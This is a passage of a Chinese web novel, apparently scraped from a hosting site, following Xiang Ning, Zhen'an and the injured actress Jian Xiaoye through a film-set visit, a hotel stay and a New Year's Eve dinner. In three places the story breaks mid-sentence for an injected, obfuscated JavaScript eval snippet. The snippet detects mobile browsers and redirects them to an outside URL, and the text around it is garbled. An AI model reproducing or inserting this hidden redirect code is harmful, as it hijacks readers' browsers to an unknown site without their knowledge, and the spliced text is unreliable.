向宁在一旁听见他的话,不由在心里偷笑:怪不得他总在祝璋那里吃瘪,原来是天然的血脉压制啊。 祝璋重重哼了一声,意为“这次就先不跟你算账”,随后问起:“向宁在你旁边吧?” “在。”枕安如实汇报,“她也没事,一切平安。” 祝璋不容拒绝道:“你把手机给她。” 枕安微怔片刻,莫名警惕起来:“你要说什么?” “你管我呢!”祝璋故意吊着不告诉他,“我愿意说什么就说什么。” 枕安本能地抗拒:“你别乱来。” 祝璋哂笑一声:“有本事你拦住我啊。”语毕马上挂掉了电话。 向宁不知发生了什么,见他如此紧张,自己也跟着紧张起来,忙问:“不会又出什么事了吧?” 枕安正不知该怎么回答,向宁的手机便响了起来,是祝璋打来的电话。 向宁和枕安对视一眼,见他也十分好奇的样子,便在接通电话的同时打开了免提。 “祝总,今晚的事,谢谢你啊。”向宁礼貌笑道。 “不用,小事。”祝璋开门见山,“年前这段时间,你想不想来剧组探班晓夜?机酒我报,专人接送。” “我当然想!”向宁闻言很是兴奋,但转念又冷静下来,有些失落道,“可是年前我们公司太忙了,不给批假。” 祝璋又问:“周末呢,也要加班?” 向宁想了想:“只要不出意外,公关部那边应该不用。但我现在毕竟是况星宸的代理经纪人,周末还要陪他跑几个通告。” “哦。”祝璋稍加思索,不紧不慢道,“没事,我来解决。” 虽然不知道她打算怎么解决,向宁听了这句话,却莫名感到无比心安,仿佛一切问题都已经迎刃而解了。 “这次请你来,还有件事要你帮忙。”祝璋的语气听不出情绪好坏,只是显得有些疲倦,“这边原定下周一开始拍摄部分镜头,但是今天中午,我发现简晓夜偷偷做了医美。” “啊?”向宁大吃一惊,连忙关掉免提,追问道,“她做什么项目了?在脸上动刀了吗?” “没有。万幸,她还是有脑子的,虽然不多。”祝璋的语气隐隐不悦,“只是在脸上打了几针,美白去细纹什么的,我也不太了解。总之,年前她的所有戏份都得推迟,等年后恢复自然肤色再拍。” 向宁这才松了半口气,心却仍然悬在半空,不上不下的,担忧道:“她现在的外形,是有些不贴角色了吗?” “那倒不至于。”祝璋重重呼了口气,“但我要的是她最自然的状态,是货真价实的演员,不是光鲜亮丽的毯星。” 向宁明白个中利害,连忙承诺道:“我会去劝劝她的,保证——” “不用,我今天当面批评过,她已经认错了。”祝璋的语气稍有缓和,“可能当时话有点重,她被我吓怕了。所以我想找你来陪她两天,帮她调整好心态,别总那么战战兢兢的,到时候影响拍摄效果。这段时间做打戏训练,几个主演里属她最刻苦,我还是很看重她的。” 向宁闻言一笑:“有你这句话,我就放心了。” 二人随即约定好探班时间,就在这周末。 她们结束通话以后,枕安并未立即发动车子,而是见缝插针问起:“肖斯塔科维奇第二圆舞曲,你给祝璋姐设了这首铃声,有什么说法吗?” “她在我认识的所有人里,无疑是最有钱的一个,当然要配这首最‘贵’的曲子了。”向宁答完反问,“你不觉得这首曲子很有纸醉金迷的感觉吗?” “纸醉金迷,祝璋姐?”枕安很难把这两个词联系在一起。 “我还没说完呢!”向宁一脸认真,“纸醉金迷的表象背后,还有一点悲伤——若有似无的那种。” 枕安闻言,这次不再反驳了,而是追问道:“什么样的悲伤?” “这我就猜不到了。事业上压力太大?家庭氛围太过窒息?”向宁摇摇头看向枕安,“诶,你应该比我更清楚吧!” 枕安抿了抿唇:“天机不可泄露。” 向宁深以为然:“我也觉得,还是保持一无所知比较好。知道得太多,指不定又会惹上什么麻烦……” 枕安不置可否,趁她陷入深思之际,悄悄给她拨去一个电话。 《找朋友》的童声独唱旋即响起,向宁先是一愣——他人就在旁边,还打什么电话啊? 不过她很快就反应过来,同样的事情,以前在他家还发生过一次。枕安打来这通电话,只是为了听听她给她设的是什么铃声。 “原来,我在你心里就是这种形象啊。”枕安笑着挂了电话,讨说法似的一问,“什么意思,我有这么幼稚吗?” 向宁偏过头看着他:“你忘了?酒会那天晚上,也是在这辆车上,咱们确定了官方的,正式的,双向的朋友关系。” 枕安撇撇嘴:“可是这首歌,听起来像两个学龄前儿童在交朋友。” 向宁正欲反驳,还没想到论据,况星宸突然打来的电话恰巧救了她的场。 他哈欠连天,显然是刚从睡梦中醒来不久,说话的口齿都不太清晰:“明后天的广告拍摄你不用来了,我这边有小杨陪着就行。” 向宁着实好奇:“难得啊,你还能主动给我放两天假,不会是吃错什么药了吧?” 况星宸嘁了一声,俨乎其然道:“我毕竟是有女朋友的人,不能整天把女工作人员带在身边吧?总得考虑考虑我女朋友的感受啊。” 向宁顿时心下了然,强忍笑意道:“祝璋‘吃醋’了?” 况星宸长叹一声:“何止吃醋,她生气了!否则犯得着大半夜给我打电话说这事吗?哎呀,总之从今以后,咱俩注意保持点距离就行。看在我的面子上,她也不会特别为难你。” 向宁翻了个白眼:“那我可谢谢你了。”谢谢你全家。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15029247|158356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挂掉电话,向宁嘟嘟囔囔骂了他两句,带着点发泄情绪的意味嗔道:“你说祝璋到底是怎么想的?找这么个男朋友,能有什么用处?” 枕安出言确认道:“你是想拉个朋友陪你一起吐槽,还是真的想知道答案?” 向宁斟酌片刻,轻叹道:“算了算了,天机不可泄露。” …… 次日一早,向宁收拾好行李,吃完饭便准备出发去机场。 这次一去就是两天,她提前对枕安交代道:“这个周末,就拜托你照顾一下猫猫了。” “我恐怕不行。”枕安从他的房间拉出一个大行李箱,“这一批布料画完了,祝璋姐让我尽快送到剧组。今天出发,跟你同一班飞机。” 向宁大为震撼:“这么奢侈的送货方式?” “也不只是为了送货。”枕安又拿出一个背包,里面装着他惯用的画材,“祝璋姐要亲自审核,有哪里不合她意的,我还要现场修改。” 向宁把猫猫抱起来,贴了贴它的脑门,用幼师跟小朋友说话的语气对它说:“妈妈和叔叔都要出门,看来这次只能让另一个姨姨来照顾你了。” “姨姨?”枕安不解。 “你见过的。”她同时对他和它说,“我助理,麦秋。” 猫猫“嗷”了一声,不知道是不是听懂了她的话。 麦秋以前专程来向宁家撸过猫,一直盼着能有机会再来过把瘾,今天接到她的求助,更是兴奋得很,一挂电话就急匆匆赶来了。 三小时的航程说长不长,说短不短,正好用来补觉。二人下飞机时,祝璋派来的专车也准点到达,是辆越野车。 电影取景地离市区很远,剧组的大队人马都在一处湖泊附近,向宁隔着很远就看到了他们的设备和房车。 向宁对祝璋的司机Sophia问道:“祝总现在在剧组吗?” “在的,不过不会轻易露面。”Sophia解释说,“即便露面,也只会以投资人的身份出现。剧组里绝大部分人都不知道祝总就是白鹤涯,还请您二位也为她保密。” 车子离湖边越来越近,向宁透过车窗往外看去,忽然疑道:“诶,那不是祝总吗?” 枕安也凑过来看了一眼:“的确是她。” 祝璋似乎刚从房车上下来,满面焦急,连一件保暖的外套都没顾得上穿,顶着冬日的寒风站在一圈乱哄哄的人群外围。手指在手机上敲敲打打发着消息,指尖被冻得泛红。 她时而抬头向外张望,很快就看到了不远处的越野车,连忙朝Sophia招招手,示意她把车开上前来。 车子停在人群附近,向宁正欲开门下车,祝璋却拦在门口让她先等等,继而对枕安扬了扬下巴:“你,去副驾。” 趁他移换位置的时间,祝璋又回头对那边的人群喊道:“扶她过来,上这辆车!” 向宁循着她的目光看去,只见人群散开,露出跪坐在中间的简晓夜。她将嘴唇咬得发白,额前的碎发都被汗湿,左手僵硬而无力地垂在腿边,右手紧捏左臂,被身旁的工作人员搀扶着慢慢站了起来,抬头去寻找祝璋的声音。 而在和向宁对视的那一刹,她强忍许久的眼泪便抑不住地流了下来。 59. 没说不给 “手腕骨裂,上好固定器就可以走了,这段时间务必静养,不要再做剧烈运动了。” 仔细记完注意事项,向宁小心翼翼扶着简晓夜走出了医院。 尽管医院处处拥挤,却没有路人认出简晓夜,这必得归功于她宽大的帽檐和老土的围巾。 简晓夜忍着疼痛笑道:“不用扶,我又不是腿脚伤了。” 向宁不容拒绝:“别跟我犟!” “哦。”简晓夜悄悄打量着她的神情,“刚才一直没顾得上问,你怎么来探班了?” “想你了呗。”向宁隐瞒了祝璋找过她的事,“难道你不想见我啊?” “当然不是了!”简晓夜连忙解释,“我只是在想,星桥已经跟我解约了,你还这样光明正大来探班,要是让公司知道了,会不会对你不太好?” “惯得他们。”向宁毫不担心,“你是解约了,又不是犯罪了,难道我还要跟你划清界限啊?” 祝璋和枕安都在车上等着,见她们走来,随即下车迎上。 祝璋还在跟人打电话,因而走得慢些,向宁索性先把枕安介绍给简晓夜认识。 “这位就是咱室友,也是祝璋的朋友。”考虑到他的两个身份都不能对外暴露,向宁也不知道该让简晓夜怎么称呼他,只能对他说,“你自我介绍一下吧。” 枕安稍显拘谨:“你好,我们之前见过一次,不知道你还记不记得。” 简晓夜闻言一怔,仔细想了想,尴尬笑道:“不好意思啊,我这人记性不太好……” 向宁提示道:“就是上次开车接我们的那个,我朋友。” “哪个朋友?”简晓夜跟她咬耳朵。 “正经朋友。”向宁用极轻的气声回答她。 “哦——!”简晓夜这才反应过来,看着他微笑道,“还不知道您怎么称呼呢?” 枕安抿唇思索片刻,挤出来两个字:“随便。” “随、随便?”简晓夜又是一愣,继而不太确定地问道,“您是姓隋吗?” 眼看枕安语塞,向宁只得出来救场:“不重要,你爱怎么叫就怎么叫吧。他们搞艺术的,思维都比较抽象。” 简晓夜不由好奇:“那你平时都怎么叫他?” “我平时……”向宁给枕安使了个眼色,示意他配合一下,旋即叫道,“欸!” 枕安应声:“嗯。” 向宁又叫:“那个谁!” 枕安忍笑:“这呢。” 向宁继续示范:“Siri?” 枕安严肃点头:“我在。” 向宁再次看向简晓夜,一本正经道:“学会了吗?” 简晓夜满脸写着大开眼界,还未应声,祝璋便走过来打断了他们的对话。 “我秘书刚才查过那个武指了。”祝璋挂掉电话,简单概括了调查结果,“通话记录、短信微信、支付平台、银行流水,都跟杜琮那边没有往来。谈话过程中,也没有什么可疑的地方。晓夜这次受伤,应该是个意外。” 语毕,她又看向简晓夜,郑重道:“当然,如果你这边还是有怀疑,咱们也可以报警处理,让警方查一查那个武指的家人和杜琮有没有联络。” “不用不用。”简晓夜紧张地摇摇头,“是我自己的问题,不关武指老师的事,她已经提醒过我该去休息了,是我自己急于求成,才搞成现在这样……对不起,祝总,又给您添麻烦了。” 祝璋神色冷峻,盯着她的眼睛看了几秒,直到简晓夜受不住压力垂下目光,她才不悦地轻哼一声,转身道:“上车。” Sophia是最称职的司机,除非老板主动跟她说话,其余时间里,她一直把自己的耳朵和嘴巴当成摆设。即便有人在车上朗读美国总统的十八禁同人文,她的表情也不会有丝毫波动。 上车选位置时,枕安十分自觉地去了副驾,不参与后排三人的任何讨论。祝璋则率先坐在后排左侧,全程一言不发。 向宁本打算扶简晓夜坐在中间,就像来医院时那样。简晓夜却疯狂对她使着眼色,飞快地小幅度摇头,看着如同战栗一般。 向宁会意,便主动坐在了她和祝璋中间,简晓夜这才松一口气。 “祝总,去哪?”Sophia问。 祝璋思索片刻,目光落在简晓夜的手腕上,冷声道:“Hilton.” 这是当地的一家高端酒店,临近市中心。不用问也知道,祝璋是打算让简晓夜在那里好好休息。 车子开得非常平稳,虽然空气循环系统毫无故障,车内安静的气氛却让人有些透不过气。 车程过半,祝璋突然开口道:“这次算工伤,赔偿按合同走,过几天会有人联系你。” 她说话时一直面朝车窗,但很显然,这话是说给简晓夜听的。 简晓夜却高兴不起来,强挤出一个笑容,故作轻松道:“不用了,祝总。这次本来就是我自己的责任,影响到剧组进度已经很抱歉了,怎么好意思要赔——” 祝璋突然冷笑了一声,听来十分不屑。 “简晓夜,你连一丁点为自己争取合法权益的意识都没有吗?”她漫不经心地拿起手机,回复了几条工作消息,语气难掩奚落嘲弄,“怪不得星桥一提解约,你就拍屁股走人了,连据理力争的想法都没有。” “祝总——”向宁突然插话,祝璋却没有给她继续往下说的机会。 “正好你来了,有空到剧组去一趟,帮她把东西收拾好,然后直接带她回家吧。” 简晓夜闻言浑身一震,再也不能无动于衷,急忙为自己求情。 “祝总,我知道错了,我真的知道错了!”话一出口,眼泪便随之滚落,“我保证今后绝不再给您添麻烦,我不要漂亮也不做医美了,什么工伤赔偿也都可以不要!我一定会快点养好病,绝对不耽误剧组的拍摄进度。我知道您不喜欢演员用替身,我不用,我真的不用!只要过几天拆了固定器,我就可以上镜,您不要换掉我好不好?” 向宁连忙拿出纸巾帮她擦泪,温声道:“不会的,合同都签了,怎么可能随随便便把你换掉呢?祝总,你说是不是?” “你不用拿这种话试探我的态度。”祝璋看着向宁说,“我从来没有说过要换掉她,之所以让你带她回家,只是为了让她安心养病。临近年关,剧组本来就快放假了。” 向宁松了口气,轻拍简晓夜的大腿道:“这下你可以把心放到肚子里了吧?” 简晓夜忍住抽噎,压下哭腔,小声说了句:“谢谢祝总。” 接着又是一路无话。 车子停在Hilton酒店大门外,祝璋递给向宁一张卡,简略说道:“去前台报我名字就行。” 简晓夜已经迫不及待想逃离这辆车,奈何手受了伤,不方便使劲。枕安便先一步下车,帮她打开了车门。简晓夜旋即跳了出去,动作快得跟兔子似的。 向宁往外侧移了移,冲枕安伸出一只手,后者本以为这是让他扶她一把的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15034228|158356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意思,正要动作,向宁却冲他晃了晃手里的会员卡,说道:“拿着,你先去帮晓夜办下入住,我一会再过去。” “我?”枕安讶然扬眉,继而压低声音道,“这……不合适吧?” 向宁给他使了个眼色,退让道:“那你就先带她去大堂坐一会,等等我。” 简晓夜见她半晌不下车,便凑过来询问情况。 向宁面色如常:“你不是没有经纪人吗?我暂时替一下,帮你跟祝总聊聊赔偿金的事。” 简晓夜没有起疑,把围巾又往上拉了拉,然后压低帽檐,跟枕安一前一后进了酒店。 祝璋把胳膊搭在窗边,一手撑着脑袋,饶有兴致道:“真的只是想聊赔偿?” “当然不是。”向宁坦然一笑,“我信得过祝总的人品,赔偿的事,交给专业的工作人员处理就好。” 祝璋毫不意外:“那你想说什么?” 向宁深吸一口气,看着她十分认真地说:“我知道,很多人都觉得晓夜的性格不讨喜。有时候锋芒毕露,泼辣得近乎鲁莽;有时候又胆小软弱,甚至显得毫无原则。” 祝璋不置可否,只说:“你还真是她的好朋友。” 向宁垂眸笑了笑,继续说道:“不知道你有没有看热搜的习惯,前段时间,晓夜经常挂在上面。” “你是说她和杜琮那桩事?”祝璋问。 “不,更早。”向宁说,“有一次我在酒吧喝醉了,遇到动手动脚的猥琐男,晓夜气急了,马上冲过来保护我。” “上了热搜?”祝璋意味深长地一问,“听起来像某种营销。” “是营销。”向宁爽快承认,“但晓夜不知道真相。因为那次成功‘救’了我,她高兴了好几天。” 祝璋不知何时把手放了下来,没有搭话,似乎是想听她继续说下去。 “晓夜就是这样的人。”向宁的声音很轻,语气也很平淡,“她偶尔变得勇敢又鲁莽,都是为了保护别人。而她在大多数时刻的软弱和退让,往往都是因为放弃了保护自己。” “那不是很蠢吗?”祝璋的语气仍然冷漠,声音却变得轻柔些许。 “是啊,很蠢。”向宁并不否认,“可是如果有选择的机会,谁又愿意成长为这样蠢的人呢?” 祝璋顿了顿,随即投来好奇的目光:“什么意思?” “人唯一不能选择的,就是自己的父母。”向宁感同身受,“从出生那一天开始,晓夜所接受的家庭教育,就只有忍耐和谦让这两个主题。你说她毫无为自己争取合法权益的意识,没错,因为没有人教她这些。恰恰相反,她的家庭永远在要求她放弃自己的合法权益,作为交换,他们会赏她几个好脸色。” 祝璋的喉咙动了动,继而微微颔首,没有出声。 “祝璋姐。”向宁第一次这样叫她,带着撒娇似的微笑,“她自己也想改掉这些缺点,可是,你总要给年轻人一点成长的时间嘛。” 祝璋别开脸看向窗外,目光却没有一个切实的落点,沉默几秒才道:“没说不给。” 随后,她听见向宁的一声轻笑,接着便是打开车门的声音。冷风骤然灌入,祝璋捋了捋耳后的头发,忽而意识到向宁还没关门。 祝璋朝那风吹来的方向看去,只见向宁也弯腰看着自己。 “我相信晓夜一定能演好你戏里的女主角,那个豪情万丈,铁骨铮铮的女侠。”向宁背对日光而立,眼睛却是晶亮的,“那是她最想成为的样子。” 60. 谁问你了 WHO 简晓夜和枕安第一次单独相处,气氛显得有些尴尬。 二人坐在酒店大堂的等候区,都偏头看着窗外那辆越野车,盼着向宁快点开门走出来。 半晌没有动静,简晓夜渐渐受不了这种压抑的沉默,决定主动挑起话题。大家毕竟都是室友,以后要在同一屋檐下住着,提前熟悉熟悉也好。 “呃,那个……随便哥。”犹豫几番,她最终择定了这个称呼,“你跟宁宁是怎么认识的?” 枕安就怕她主动跟自己说话,现在身边没有熟人,这是他最应付不来的局面。奈何出于礼貌,又不得不硬着头皮答话。 “工作时认识的。”他简略说道,“合作过几次。” “你也是影视行业的?”简晓夜追问。 枕安思前想后,含糊道:“算是……在服装组做兼职吧。” 简晓夜点了点头,话题到此为止,似乎无法再往下展开了。 又一阵尴尬的沉默袭来,枕安开始战术喝水,直到这杯茶见了底,向宁才走进酒店。二人见状都是如逢大赦,双双起身迎上。 向宁正在跟人打电话,面上挂着玩味的表情,不知对方说了些什么,她忽而冷笑一声,懒懒道:“我相不相信你有什么用啊?忙着呢,挂了。” “谁的电话?”简晓夜好奇道。 “杜琮。”向宁看看她,又看看枕安,“你把他电话拉黑了?” 枕安皱眉:“他怎么打到你那去了?” “病急乱投医呗。”向宁耸耸肩,“晓夜在剧组受伤的事上热搜了,他怕咱们误会是他派人干的,急着找咱解释呢。” 简晓夜越听越糊涂了:“等等,他为什么要找你们解释啊?就算要解释,不也应该直接找我,或者找祝总吗?” 向宁佯装茫然:“对啊,好奇怪,为什么?” 枕安配合着摇头:“谁知道,他脑子一直不太正常。” 说话间,杜琮的电话又打了过来,一开口就如连珠炮似的,叭叭叭解释个没完。 向宁不胜其烦,干脆给他挖了个坑:“行行行,别废话了。这样吧,只要你委托律师公开发函,声明今天的事与你无关,我们就相信你。” 杜琮仍有疑虑:“你做得了祝琰的主吗?” “不要转移话题。”向宁冷冷道,“否则我会怀疑你是做贼心虚,连发一条公开声明的勇气都没有。” 语毕直接挂掉电话,顺便也把他的号码拉进了黑名单。 不多时,杜琮那边就公开发出了盖着红章的律师函,大致意为:简晓夜女士在剧组受伤一事纯属意外,与我方当事人毫无关系,广大网友切勿造谣传谣。 枕安按照向宁的嘱咐,给杜琮发了条短信,言简意赅道:「表现合格。」 杜琮见他终于表态,总算暂时放下了心。谁知没安生多久,网上针对他的负面舆论竟铺天盖地卷了过来。 「笑死,此地无银三百两啊?你要是不发律师函,我都没往你头上想。」 「谁问你了?你说得不一定对,但是有一个小问题:谁问你了?我的意思是,谁让你上麦了?我告诉你,根本没人问你,在我们之中0人问了你,我把所有问你的人都请来party了,到场人数是0个人,谁问你了?WHOASKED?誰が聞いた????????谁问汝矣?」 「行了行了交牌吧,狼王都聊爆了,这局狼队还怎么玩?」 简晓夜躺在松软的大床上,脸上带着幸灾乐祸的笑容:“虽然他这次确实是冤枉的,但是我看着真的好爽喔。” 向宁与她头对头躺着,一边浏览机票信息一边问:“我明晚回去,给你订同一班飞机吗?” 简晓夜的笑容突然凝住,慢慢淡了下来,迟疑道:“我……我还没想好。快过年了,我要不直接回我父母家?省得来回折腾。” 向宁深深叹了口气:“你手腕都骨裂了,还想着回去伺候他们啊?” “不是……”简晓夜的声音低了下来,“这几个月本来就一直没给他们打钱,过年要是还不回去,他们又得骂我是白眼狼了。” “骂就骂呗,你又不会少块肉!”向宁翻身支起脑袋,伸手在她额头上轻戳几下,“还是说,你怕他们找娱记爆你‘抛父弃母’的黑料?有我帮你打舆论战,瞎担心什么!” 简晓夜纠结许久,决定把一切交给命运,点开微信表情喃喃道:“我扔个骰子吧,单数不回家,双数回家。” 向宁一把按住她的手机,少见的对她严肃起来:“简晓夜,你能不能为你自己负起责任来,不要总让乱七八糟的东西替你做决定。” 谁知她这个动作正好按到了骰子上,屏幕上红白黑三色交替闪烁,最后停在了四个点上。 简晓夜无奈一笑:“好不吉利的双数。” 向宁忿忿咬了下嘴唇,不甘道:“三局两胜,再扔一次!” 简晓夜按熄手机屏幕,看着她的双眼认真说道:“这一次,还是让我自己做决定吧。” “怎么做?” “给我父母打个电话,就说我住院了,借五百块钱缴费。如果他们同意,我就回家。如果他们拒绝,我就不回了。”她低垂着目光,小声补充道,“以后都不回了。” 向宁在心里长叹一声。归根结底,简晓夜还是在让她父母“替”她做决定。不过……或许从某种意义上讲,她也算有点进步了。 “你打吧,我回避。”向宁转身走进浴室,透过单向玻璃注视着简晓夜的一举一动。 她现在只剩一只手可用,笨拙地拿起手机拨出号码。 第一次,等待半分钟,没有接通。 第二次,等待十几秒,没有接通。 第三次,等待几秒后终于接通,简晓夜正欲张嘴,就被电话那头的声音震了耳朵,下意识闭上双眼,把手机拿远了些。 向宁心道:她父母应该又在打麻将吧?想必一开口就是那句经典台词——白眼狼,一天天的不知道给你老子打钱,就知道打电话,要死啊? 隔着这么远的距离,向宁都仿佛能闻到那通电话里的烟臭味。 简晓夜低头说了些什么,而后再次把手机拿远,深吸一口气,继而凑近话筒,气冲冲喊了几句方言,随后挂掉电话。 她的呼吸又重又急促,胸膛上下起伏不停,挂了电话还嫌气不过,又在手机上戳戳点点半天,大约是给她的黑名单进了几件新货。 做完这一切,她把手机扔向身后,用一只手捂住双眼,低头痛哭起来。 向宁打开花洒,转过身去,背对简晓夜不再看她。 几分钟后,简晓夜敲响浴室的门,说话的声音再也听不出悲伤,反而带着浅浅的笑意。 “宁宁,我们的年夜饭不会是外卖吧?” 向宁隔着门回答:“今年不是了。” “难道你要亲自下厨?”简晓夜斜倚在门上,“我面子这么大?” “呸,美得你!”向宁在门上轻叩一下,仿佛在弹她的脑门,“年夜饭自有专业大厨操刀,用不着咱们费心。” “真的!哪家大厨?”简晓夜兴致勃勃问。 向宁轻描淡写答:“随便。” …… 除夕当日,三人一猫都睡到了午后才起床。 经过前几天的相处,简晓夜和枕安已经熟悉了很多,说话也不再那么尴尬疏离,她俨然把他当成了性转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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枕安在这句回答里找到了奇怪的重点:“向宁……她有很多个追求者吗?” 简晓夜正要回答,却忽然刹住惯性,别有意味地看他一眼,幽幽道:“随便哥……你有很重的好奇心吗?” 片刻无言过后,枕安轻咳一声道:“面应该好了。”然后就转身回了厨房。 谁知简晓夜仍不打算放过他,也跟他进了厨房,自顾自念叨着:“宁宁的追求者多不多,我倒是不知道。不过——” 一句话说到半截,她就收了声,静等田螺上钩。 枕安果然抑不住好奇心,追问道:“不过什么?” “不过,我倒是很好奇——”简晓夜迈步绕到他面前,眼含打趣的笑意,“现在不会又多了一个吧?” 枕安避而不答,把刚捞出的一碗面递给她:“吃饭。” 简晓夜举起受伤的那只手:“你确定要我端?” 枕安只得代劳,帮她把面碗端上餐桌。 简晓夜乘胜追击,低声笑道:“有什么不好意思承认的?你和她——” “以后像这种玩笑,不可以在她面前讲。”枕安打断她的话,十分严肃地看着简晓夜说,“我不想她误会。” 简晓夜没想到他会是这种反应,一时不知该怎么接话,只得收声。 话虽咽了回去,她的思绪却没有停下—— 谁说我是在开玩笑了?明明很认真好不好! 这个人,有古怪。 61. 争锋相对 蒋昭恒来敲门时,是简晓夜给他开的门。 “好久不见啊,大律师。”简晓夜笑得敷衍,“听说你最近老在律所炫富,经济实力如此超群,今天来宁宁家蹭年夜饭,应该不是空手来的吧?” “确实好久不见,大明星。”蒋昭恒语带阴阳,“听说你最近又在剧组受伤了,怎么这么不小心啊?我带了两瓶Romanée-Conti,不过作为骨折病人,你还是照顾好自己,多喝热水吧。” 简晓夜侧身给他让开进门的路,冷眼微笑道:“是骨裂,多谢关心。” 蒋昭恒迈步进门,假模假式道:“不客气,早日康复。” 向宁的声音从厨房传来:“你俩真是一点没变,几岁了?幼不幼稚?” 蒋昭恒放下红酒盒子,皱眉道:“你在厨房做什么?我妈不是下过死命令,不许你再进厨房吗?” 向宁不以为意地笑了笑:“别曲解阿姨的原话啊,她那时候是心疼我,不许我再给别人做饭。我现在是给自己做饭,又不算违反禁令。再说了,就算只是出于人道主义关怀,我也不能只看着别人忙前忙后啊,总要给大厨打打下手。” 简晓夜甩下蒋昭恒,三两步跳到向宁身边,帮腔道:“就是就是,我也来帮忙。随便哥,你这有没有什么一只手就能干的活?尽管使唤我就行!” 枕安考虑到她手上有伤,正要拒绝,向宁却忽然靠近他耳边,低声说了句:“她不想在客厅跟蒋昭恒单独待着,你就随便给她找个活吧。” 枕安思考几秒,往一碗绿豆里扔了一把玉米粒,摇匀后递给简晓夜说道:“把玉米挑出来,一只手就行,不用着急。” 简晓夜憋着笑接过碗:“谢谢,以后请叫我辛德瑞拉。”语毕去厨房一角坐下,优哉游哉玩起豆子来。 三人说话间,蒋昭恒匆匆换了鞋走进厨房,一眼就看到向宁坐在案台旁,正在给一盆大虾去虾线。 她的长发随意绑在脑后,身上穿着和枕安同款异色的围裙,不过比他那件更新,上面还有几道折痕,似乎刚拆封不久。 厨房的空间很大,供七八个人分头干活也绰绰有余,枕安偏偏就紧挨她站着,看得蒋昭恒极为不爽,满脑子都只有一个词:居心叵测。 蒋昭恒挽起袖子,绕到案台另一侧,站在向宁正对面问道:“我呢,干点什么?” “你?” 向宁仿佛听了个笑话,抬起头,刚想调侃两句,却见他今天打扮得格外不同——白卫衣,牛仔裤,头发没做造型,半点职场精英味都没有,反倒像个还在念书的学生。 向宁垂下目光,继续专注于剔虾线,含着浅浅的笑意问道:“什么意思,搞纯元故衣那一套啊?” 枕安闻声抬眸看了蒋昭恒一眼,表情没有波动,又低下头继续切菜。 蒋昭恒似是被戳穿了心思,一时承认也不是,否认也不是,只好轻咳一声,没了下文。 “大清亡矣!”向宁悠悠感叹一句,抬头对上枕安的目光,一本正经道,“给先皇后找点活干吧,让他也体验一下民间疾苦。” 发令枪移到枕安手上,他却迟迟不装弹,转而询问向宁:“要是给的活太重,累着了先皇后,皇上不会责怪微臣吧?” 他把一个“先”字咬得很重,蒋昭恒听着刺耳,却没有出言回击的正当理由。 向宁看着枕安,认真搭起戏来,语重心长道:“先皇后母家毕竟对朕有恩,爱卿还是高抬贵手吧,宽严相济即可。” 枕安不置可否,向蒋昭恒投去一瞥,面无表情问道:“会刮鱼鳞吗?” 蒋昭恒不甘示弱,对向宁柔声道:“等我三分钟。” 语毕往客厅走去,脱了白卫衣搭在沙发上,修身的内衬将几道流畅的肌肉线条清晰勾勒出来。 简晓夜见状撇撇嘴,当着他的面锐评道:“纯元故衣没效果,又开始搞狐媚惑主那一套了?” 向宁长叹一声,无奈心道:姑奶奶,看来你俩这辈子都不能和谐共处了。 蒋昭恒只当未闻,在手机上认真看完刮鱼鳞的视频教程,便准备开始实践。 然而他没想到的是—— “这、这鱼怎么是活的?”教程里的鱼可不会挣扎逃跑,更不会用尾巴甩他一脸水。 “当然是活的了,活鱼才新鲜。”枕安没有要帮忙的意思,有条不紊地切着豆腐丝,刀工逸群。 蒋昭恒只能硬着头皮去刮鳞,奈何折腾了半天,仍然不得其法,盆里的鱼几乎毫发无损,连皮外伤都没受多少。 简晓夜被他制造的噪音烦得实在坐不住,干脆过去帮忙,一手抄起菜刀皱眉道:“抓出来,按在案板上,别按头!” 蒋昭恒顾不得许多,只能按照她的要求做。 简晓夜瞄准鱼头,用刀背重重一敲,鱼就被敲晕了。 蒋昭恒接过她手里的菜刀,本想道声谢,却被她一句嘲讽给噎了回去—— “我看你这十指不沾阳春水的大少爷,就不是下厨房的那块料。” 向宁摘下手套跨步上前,一左一右推开他们两人,和稀泥道:“行了行了,大少爷二小姐都消停会吧。再这么闹下去,年夜饭就要改成守夜饭了。” 二人互瞪一眼,只得暂时停战。 就这会工夫,枕安已经不声不响走到了水槽旁,开始处理刚才那条鱼。 蒋昭恒不爽归不爽,但还是很有自知之明的给他让开了位置。 向宁靠在案台边,看着枕安干脆利落的动作,忽而心道:说起来,他曾经也是十指不沾阳春水的小少爷呢。 转念一想,不禁更加疑惑:作为祝琰的他,一度享受着别人羡慕都羡慕不来的生活,到底为什么会一心求死呢? 虽然他说过是为了赎罪,但向宁还是想不明白——彼时他尚未成年,并不曾进入社会,到底能背负什么罪孽? …… 日落之际,厨房的忙碌终于告一段落。 向宁从储物间里搬出一张折叠桌,放在客厅里正对电视的位置,再把四面的弧形板扳起来,方桌就变成了圆桌。 简晓夜不禁感叹:“说起来,这桌子还真有点童年回忆的味道。” 枕安不解道:“怎么说?” 